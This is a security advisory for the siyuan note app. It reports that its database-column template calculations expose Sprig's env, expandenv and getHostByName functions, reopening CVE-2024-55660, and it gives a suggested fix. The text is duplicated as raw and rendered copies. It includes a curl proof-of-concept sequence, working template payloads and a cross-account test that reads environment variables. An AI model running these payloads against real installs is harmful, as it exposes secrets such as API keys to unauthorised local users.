Summary
siyuan's fix for CVE-2024-55660 (commit e70ed57f6, 2024-12-11) removed three dangerous functions — env, expandenv, getHostByName — from the function that builds the list of callable functions for siyuan's Sprig-based
live-template features (at the time, kernel/treenode/template.go; the same function now lives at kernel/filesys/template.go as
BuiltInTemplateFuncs(), relocated in an unrelated later refactor). That fix covered every template sink that existed at the time — confirmed by counting call sites of sprig.TxtFuncMap(): exactly one, at the commit before the
fix.
About 18 months later, siyuan shipped a new feature (v3.7.0-beta.1, 2026-06-23): database ("attribute view") columns and groups can show a summary calculation, and one of the built-in calculation types across every field type the feature supports (not just Rollup fields — Block, Text, Number, Date, Select, MSelect, URL, Email, Phone, MAsset, Created,
Updated, and Rollup all wire up the same CalcOperatorTemplate case) is a custom Go-template formula (Calc.Operator == "Template"). This feature's template engine is built in kernel/av/calc_template.go's templateFuncMap(), which calls Sprig's function list directly (sprig.TxtFuncMap()) rather than through BuiltInTemplateFuncs(). It never
received the 2024 fix's three delete() calls, because that fix predates this feature entirely. env, expandenv, and getHostByName are present and callable in this feature's formulas exactly as Sprig ships them, on every siyuan release from v3.7.0-beta.1 to the current development tip independently re-verified against the actual current tip of origin/dev
and the latest tagged pre-release, see "Affected versions" below.
This feature is reachable with no login from any local process or OS account on the machine running siyuan — the kernel binds to 127.0.0.1 only by default, and TCP loopback carries no per-UID access control, so any local account is an equally capable requester. It is not remotely reachable under default configuration. Exploiting requires no filesystem access, and lets an attacker read environment variables belonging to the account running siyuan even from a separate, unprivileged OS account that has no direct permission to see them.
Details
kernel/av/calc_template.go:
func templateFuncMap() template.FuncMap {
tplFuncs := sprig.TxtFuncMap() // Sprig's full, unmodified default list
tplFuncs["countif"] = util.CountIf
return tplFuncs
}
Compare with kernel/filesys/template.go, the function the 2024 fix actually edited:
func BuiltInTemplateFuncs() (ret template.FuncMap) {
ret = sprig.TxtFuncMap()
// 因为安全原因移除一些函数 https://github.com/siyuan-note/siyuan/issues/13426
delete(ret, "env")
delete(ret, "expandenv")
delete(ret, "getHostByName")
...
}
templateFuncMap() is used by evalRollupTemplate() in the same file (despite the name, this function is the shared, generic entry point for all field types' template calculations. The code comment at calc_template.go:155 confirms this: "通用入口,非
Rollup" / "generic entry, not Rollup"). It's called from calcFieldByTemplate(), reached via a case CalcOperatorTemplate: branch present in roughly a dozen separate per-field-type calc functions in kernel/av/calc.go (one
each for Block, Text, Number, Date, Select, MSelect, URL, Email, Phone, MAsset, Created, Updated, and Rollup), all reached from av.Calc(), called from renderViewableInstance() on every non-ignoreRows render and again from a separate group-calc code path.
The payload is saved into the attribute view's JSON on disk as part of the column definition, and re-executes on
every subsequent render, including renders triggered by the legitimate user simply opening the document containing the database.
Proof of Concept
Against a default install (accessAuthCode unset, no login):
BASE=http://127.0.0.1:6806
AVID="20260731230001-m1n2o3p" # any siyuan-format ID: 14-digit timestamp + '-' + 7 lowercase alnum
KEYID="20260731230002-n2o3p4q"
# 1. create a database (auto-created if the ID doesn't exist yet)
curl -s -X POST "$BASE/api/av/renderAttributeView" -d "{\"id\":\"$AVID\"}"
# 2. add a text column
curl -s -X POST "$BASE/api/av/addAttributeViewKey" \
-d "{\"avID\":\"$AVID\",\"keyID\":\"$KEYID\",\"keyName\":\"Gadget\",\"keyType\":\"text\",\"keyIcon\":\"\",\"previousKeyID\":\"\"}"
# 3. add a row (note: siyuan assigns its own row ID, ignoring the one sent here —
# read the real ID back from this same render call's "rows" field)
curl -s -X POST "$BASE/api/av/addAttributeViewBlocks" \
-d "{\"avID\":\"$AVID\",\"srcs\":[{\"id\":\"placeholder\",\"content\":\"row1\",\"isDetached\":true}]}"
curl -s -X POST "$BASE/api/av/renderAttributeView" -d "{\"id\":\"$AVID\"}"
# -> read data.view.rows[0].id as $ROWID
# 4. give that row's cell a non-blank value (required for the calc to run at all)
curl -s -X POST "$BASE/api/transactions" \
-d "{\"reqId\":1,\"transactions\":[{\"doOperations\":[{\"action\":\"updateAttrViewCell\",\"avID\":\"$AVID\",\"keyID\":\"$KEYID\",\"rowID\":\"$ROWID\",\"data\":{\"type\":\"text\",\"text\":{\"content\":\"x\"}}}]}]}"
# 5. set the column's calculation to the payload
curl -s -X POST "$BASE/api/transactions" \
-d "{\"reqId\":2,\"transactions\":[{\"doOperations\":[{\"action\":\"setAttrViewColCalc\",\"avID\":\"$AVID\",\"id\":\"$KEYID\",\"blockID\":\"\",\"data\":{\"operator\":\"Template\",\"template\":\".action{ env \\\"HOME\\\" }\"}}]}]}"
# 6. render and read the result
curl -s -X POST "$BASE/api/av/renderAttributeView" -d "{\"id\":\"$AVID\"}"
# -> columns[].calc.result.text.content == the real value of $HOME on the server
Confirmed working payloads (each substituted into step 5's template field, read back in step 6):
| Formula |
Confirmed result |
.action{ env "HOME" } |
Real value of $HOME on the server (e.g. /Users/<tester>) |
.action{ expandenv "$HOME/$USER" } |
Real expansion (e.g. /Users/<tester>/<tester>) |
.action{ getHostByName "localhost" } |
Resolves the given hostname to its real address (e.g. 127.0.0.1 or ::1, depending on the host's resolver) |
The absence of SQLTemplateFuncs and siyuan's own BuiltInTemplateFuncs() additions from this sink can be shown differentially, which also independently proves this FuncMap is unmodified Sprig rather than a
partially-patched copy:
.action{ queryBlocks "SELECT 1" } -> no result (SQLTemplateFuncs absent)
.action{ statBlock "x" } -> no result (BuiltInTemplateFuncs-only addition, absent)
.action{ getHPathByID "x" } -> no result (BuiltInTemplateFuncs-only addition, absent)
.action{ add 1 2 } -> 3 (plain Sprig, present)
.action{ uuidv4 } -> a real UUID (plain Sprig, present)
Cross-account escalation
Environment variables belong to the process that owns them; on a multi-account machine, a different OS account normally cannot read them directly. Tested against a real second account (_www, macOS's built-in low-privilege web-server account) on the same host running siyuan:
# siyuan started by the primary account with a marker env var set:
# SIYUAN_TEST_SECRET=confused-deputy-env-marker-79511-1785556034
# as _www: attempt a direct read of the siyuan process's environment
sudo -u _www ps eww <siyuan-pid>
# -> process listing with NO environment block at all — confirmed by
# contrast with the identical command run as the account that owns
# the process, which DOES show the full environment, marker included.
# as _www: read the same value anyway, through the vulnerable endpoint
sudo -u _www curl -s -X POST http://127.0.0.1:6806/api/av/renderAttributeView \
-d '{"id":"<avID from PoC step 5>"}'
# -> "content":"confused-deputy-env-marker-79511-1785556034"
Impact
Any local process or OS account on the machine running siyuan can:
- Read any environment variable available to the siyuan process — API keys, tokens, or other configuration secrets, depending on deployment.
- Perform DNS lookups from the server's network position, usable to probe what hosts/services the server can reach, including internal ones the attacker couldn't otherwise resolve directly.
- On a shared, multi-account host, do both of the above even from an OS account with zero direct permission to the data identical escalation shape to
GHSA-m6j5-gh3m-r8v6.
This is not remotely exploitable under default configuration. The severity here is specifically about local privilege separation between OS accounts on a shared machine, or between the siyuan process and any other local software that can merely open a loopback TCP connection.
Within that scope, this is a full reopening of the original CVE-2024-55660 information disclosure, through a code path introduced after that fix.
GHSA-v97v-gxxg-rhmq is a distinct vulnerability from CVE-2024-55660, not a duplicate.
CVE-2024-55660 (fixed in v3.1.16, December 2024) affected the note template rendering feature in kernel/model/template.go. The function RenderGoTemplate called sprig.TxtFuncMap() without removing dangerous functions (env, expandenv, getHostByName). The fix correctly introduced filesys.BuiltInTemplateFuncs(), which deletes these functions from the map before use. That fix is complete — the original code path is no longer exploitable.
GHSA-v97v-gxxg-rhmq affects the attribute-view database column calculation feature in kernel/av/calc_template.go. The function templateFuncMap() calls sprig.TxtFuncMap() directly, without routing through the hardened BuiltInTemplateFuncs(). This code was introduced in v3.7.0-beta.1 (June 2026) — 18 months after CVE-2024-55660 was fixed — as part of a new "Template" calculation type for database columns that did not exist when CVE-2024-55660 was reported or fixed.
|
CVE-2024-55660 |
This advisory |
| Feature |
Note template rendering |
Database column calculations |
| File |
kernel/model/template.go |
kernel/av/calc_template.go |
| Function |
RenderGoTemplate |
templateFuncMap() |
| API entry point |
/api/template/renderSprig |
Database column template formula |
| Introduced |
Pre-v3.1.15 |
v3.7.0-beta.1 (June 2026) |
These are different files, different functions, different features, with different API entry points, introduced at different times. The recommended fix — routing templateFuncMap() through the existing BuiltInTemplateFuncs() — references CVE-2024-55660's patch as the model for the correct approach, but the vulnerable code itself is independent.
( @88250 Could you please re-submit this for a CVE since this section covers Github's ask? Thank you)
Suggested fix
Route kernel/av/calc_template.go's templateFuncMap() through
filesys.BuiltInTemplateFuncs() instead of calling sprig.TxtFuncMap()
directly — the same fix already applied to every other Sprig-based template
sink in the codebase. Minimal, consistent with existing precedent
(0a176345e, the fix for GHSA-m6j5-gh3m-r8v6, took exactly this
"apply the existing guard, don't redesign the feature" approach), and
doesn't require removing the Template-calculation feature itself.
Affected versions
v3.7.0-beta.1 (2026-06-23) through the current development tip —
continuously, never covered by either prior fix. Independently re-verified
by a second reviewer, from a separate fresh clone, against the actual
current tip of origin/dev and the latest tagged pre-release — not just
the version originally tested:
| Version |
Date |
Commit |
What happened |
v3.7.0-beta.1 |
2026-06-23 |
5e783155c (first tagged release containing fbda8db9d/669c95861, both 2026-06-17) |
kernel/av/calc_template.go and the Calc.Operator == "Template" calculation type introduced, wired into every attribute-view field type's calc dispatch. templateFuncMap() calls sprig.TxtFuncMap() directly from day one — this predates the file existing at all, so the CVE-2024-55660 fix (e70ed57f6, 2024-12-11) couldn't have touched it. |
v3.7.4-alpha.1 |
2026-07-25 |
0a176345e present |
The GHSA-m6j5-gh3m-r8v6 fix lands, scoped to SQLTemplateFuncs and getDynamicIcon only — calc_template.go untouched, confirmed by reading the diff (empty diff for that file between this commit and current dev). |
v3.7.4-alpha.4 |
2026-08-01 |
63e60bc4bc9a4f1144bffb951e3a93e37d477f73 |
Latest tagged pre-release as of this writing (fixes an unrelated stored-XSS advisory, GHSA-m7cc-jh9q-wxg8). Independently rebuilt from a fresh clone and re-exploited — env/expandenv/getHostByName all still reachable, exact marker values confirmed. |
origin/dev tip |
2026-08-01 |
8cddf3d113c4304e40568322f26665055aaefe6b |
Independently rebuilt and re-exploited, both --mode dev and --mode prod — reviewed every commit between v3.7.4-alpha.1 and this one touching kernel/av/, kernel/filesys/template.go, kernel/model/session.go, kernel/sql/, and kernel/api/router.go: several unrelated security fixes landed in this window (XSS, encrypted notebooks, publish-mode leaks, session handling), none touching Sprig FuncMaps, template validation, or the attribute-view calc path. No silent fix. |
CWE
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): env/expandenv, and CWE-918 (Server-Side Request Forgery, weakly getHostByName performs attacker-directed DNS resolution from the server's
network position, no follow-on request) — reached through CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), the same class as CVE-2024-55660 and GHSA-m6j5-gh3m-r8v6.
Summary
siyuan's fix for CVE-2024-55660 (commit
e70ed57f6, 2024-12-11) removed three dangerous functions —env,expandenv,getHostByName— from the function that builds the list of callable functions for siyuan's Sprig-basedlive-template features (at the time,
kernel/treenode/template.go; the same function now lives atkernel/filesys/template.goasBuiltInTemplateFuncs(), relocated in an unrelated later refactor). That fix covered every template sink that existed at the time — confirmed by counting call sites ofsprig.TxtFuncMap(): exactly one, at the commit before thefix.
About 18 months later, siyuan shipped a new feature (
v3.7.0-beta.1, 2026-06-23): database ("attribute view") columns and groups can show a summary calculation, and one of the built-in calculation types across every field type the feature supports (not just Rollup fields — Block, Text, Number, Date, Select, MSelect, URL, Email, Phone, MAsset, Created,Updated, and Rollup all wire up the same
CalcOperatorTemplatecase) is a custom Go-template formula (Calc.Operator == "Template"). This feature's template engine is built inkernel/av/calc_template.go'stemplateFuncMap(), which calls Sprig's function list directly (sprig.TxtFuncMap()) rather than throughBuiltInTemplateFuncs(). It neverreceived the 2024 fix's three
delete()calls, because that fix predates this feature entirely.env,expandenv, andgetHostByNameare present and callable in this feature's formulas exactly as Sprig ships them, on every siyuan release fromv3.7.0-beta.1to the current development tip independently re-verified against the actual current tip oforigin/devand the latest tagged pre-release, see "Affected versions" below.
This feature is reachable with no login from any local process or OS account on the machine running siyuan — the kernel binds to
127.0.0.1only by default, and TCP loopback carries no per-UID access control, so any local account is an equally capable requester. It is not remotely reachable under default configuration. Exploiting requires no filesystem access, and lets an attacker read environment variables belonging to the account running siyuan even from a separate, unprivileged OS account that has no direct permission to see them.Details
kernel/av/calc_template.go:Compare with
kernel/filesys/template.go, the function the 2024 fix actually edited:templateFuncMap()is used byevalRollupTemplate()in the same file (despite the name, this function is the shared, generic entry point for all field types' template calculations. The code comment atcalc_template.go:155confirms this: "通用入口,非Rollup" / "generic entry, not Rollup"). It's called from
calcFieldByTemplate(), reached via acase CalcOperatorTemplate:branch present in roughly a dozen separate per-field-type calc functions inkernel/av/calc.go(oneeach for Block, Text, Number, Date, Select, MSelect, URL, Email, Phone, MAsset, Created, Updated, and Rollup), all reached from
av.Calc(), called fromrenderViewableInstance()on every non-ignoreRowsrender and again from a separate group-calc code path.The payload is saved into the attribute view's JSON on disk as part of the column definition, and re-executes on
every subsequent render, including renders triggered by the legitimate user simply opening the document containing the database.
Proof of Concept
Against a default install (
accessAuthCodeunset, no login):Confirmed working payloads (each substituted into step 5's
templatefield, read back in step 6):.action{ env "HOME" }$HOMEon the server (e.g./Users/<tester>).action{ expandenv "$HOME/$USER" }/Users/<tester>/<tester>).action{ getHostByName "localhost" }127.0.0.1or::1, depending on the host's resolver)The absence of
SQLTemplateFuncsand siyuan's ownBuiltInTemplateFuncs()additions from this sink can be shown differentially, which also independently proves this FuncMap is unmodified Sprig rather than apartially-patched copy:
Cross-account escalation
Environment variables belong to the process that owns them; on a multi-account machine, a different OS account normally cannot read them directly. Tested against a real second account (
_www, macOS's built-in low-privilege web-server account) on the same host running siyuan:Impact
Any local process or OS account on the machine running siyuan can:
GHSA-m6j5-gh3m-r8v6.This is not remotely exploitable under default configuration. The severity here is specifically about local privilege separation between OS accounts on a shared machine, or between the siyuan process and any other local software that can merely open a loopback TCP connection.
Within that scope, this is a full reopening of the original CVE-2024-55660 information disclosure, through a code path introduced after that fix.
Distinction with CVE-2024-55660
GHSA-v97v-gxxg-rhmq is a distinct vulnerability from CVE-2024-55660, not a duplicate.
CVE-2024-55660 (fixed in v3.1.16, December 2024) affected the note template rendering feature in kernel/model/template.go. The function RenderGoTemplate called sprig.TxtFuncMap() without removing dangerous functions (env, expandenv, getHostByName). The fix correctly introduced filesys.BuiltInTemplateFuncs(), which deletes these functions from the map before use. That fix is complete — the original code path is no longer exploitable.
GHSA-v97v-gxxg-rhmq affects the attribute-view database column calculation feature in kernel/av/calc_template.go. The function templateFuncMap() calls sprig.TxtFuncMap() directly, without routing through the hardened BuiltInTemplateFuncs(). This code was introduced in v3.7.0-beta.1 (June 2026) — 18 months after CVE-2024-55660 was fixed — as part of a new "Template" calculation type for database columns that did not exist when CVE-2024-55660 was reported or fixed.
These are different files, different functions, different features, with different API entry points, introduced at different times. The recommended fix — routing templateFuncMap() through the existing BuiltInTemplateFuncs() — references CVE-2024-55660's patch as the model for the correct approach, but the vulnerable code itself is independent.
( @88250 Could you please re-submit this for a CVE since this section covers Github's ask? Thank you)
Suggested fix
Route
kernel/av/calc_template.go'stemplateFuncMap()throughfilesys.BuiltInTemplateFuncs()instead of callingsprig.TxtFuncMap()directly — the same fix already applied to every other Sprig-based template
sink in the codebase. Minimal, consistent with existing precedent
(
0a176345e, the fix forGHSA-m6j5-gh3m-r8v6, took exactly this"apply the existing guard, don't redesign the feature" approach), and
doesn't require removing the Template-calculation feature itself.
Affected versions
v3.7.0-beta.1(2026-06-23) through the current development tip —continuously, never covered by either prior fix. Independently re-verified
by a second reviewer, from a separate fresh clone, against the actual
current tip of
origin/devand the latest tagged pre-release — not justthe version originally tested:
v3.7.0-beta.15e783155c(first tagged release containingfbda8db9d/669c95861, both 2026-06-17)kernel/av/calc_template.goand theCalc.Operator == "Template"calculation type introduced, wired into every attribute-view field type's calc dispatch.templateFuncMap()callssprig.TxtFuncMap()directly from day one — this predates the file existing at all, so the CVE-2024-55660 fix (e70ed57f6, 2024-12-11) couldn't have touched it.v3.7.4-alpha.10a176345epresentGHSA-m6j5-gh3m-r8v6fix lands, scoped toSQLTemplateFuncsandgetDynamicIcononly —calc_template.gountouched, confirmed by reading the diff (empty diff for that file between this commit and currentdev).v3.7.4-alpha.463e60bc4bc9a4f1144bffb951e3a93e37d477f73GHSA-m7cc-jh9q-wxg8). Independently rebuilt from a fresh clone and re-exploited —env/expandenv/getHostByNameall still reachable, exact marker values confirmed.origin/devtip8cddf3d113c4304e40568322f26665055aaefe6b--mode devand--mode prod— reviewed every commit betweenv3.7.4-alpha.1and this one touchingkernel/av/,kernel/filesys/template.go,kernel/model/session.go,kernel/sql/, andkernel/api/router.go: several unrelated security fixes landed in this window (XSS, encrypted notebooks, publish-mode leaks, session handling), none touching Sprig FuncMaps, template validation, or the attribute-view calc path. No silent fix.CWE
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor):
env/expandenv, and CWE-918 (Server-Side Request Forgery, weaklygetHostByNameperforms attacker-directed DNS resolution from the server'snetwork position, no follow-on request) — reached through CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), the same class as CVE-2024-55660 and
GHSA-m6j5-gh3m-r8v6.